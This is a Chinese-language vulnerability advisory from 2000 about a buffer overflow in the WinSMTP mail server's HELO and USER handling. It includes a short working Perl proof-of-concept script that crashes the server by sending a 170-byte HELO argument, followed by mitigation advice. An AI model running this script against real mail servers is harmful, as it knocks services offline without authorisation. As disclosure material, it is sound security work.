WinSMTP 缓冲区溢出漏洞
发布日期:2000-09-15
更新日期:2000-09-15
受影响系统:
Jack De Winter WinSMTP 1.6f
Jack De Winter WinSMTP 2.x
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
描述:
Jack De Winter出品的WinSMTP邮件服务器的SMTP和POP3组件中有一些缓冲区没有进行边界检查,
可能导致攻击者使服务瘫痪或者执行任意代码。
通过发送一个包含170字节的参数的HELO命令,或者一个包含370字节参数的USER命令,都可以
导致服务器产生一个一般性保护错误。
<*来源:Dethy (
dethy@synnergy.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
#
# ./$0.pl -s <server>
# sends data to stmpd, overflowing server buffer.
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 170;
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $args{s},
PeerPort => "smtp(25)",
) || die("Unable to connect to smtp port at $args{s}\n");
$remote->autoflush(1);
print $remote "HELO $data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");
sub usage {die("\n$0 -s <server>\n\n");}
建议:
临时解决方法:
NSFOCUS建议您暂时停止使用此应用程序或者换用其他替代产品
厂商补丁:
目前厂商还没有提供补丁程序
浏览次数:7024
严重程度:0(网友投票)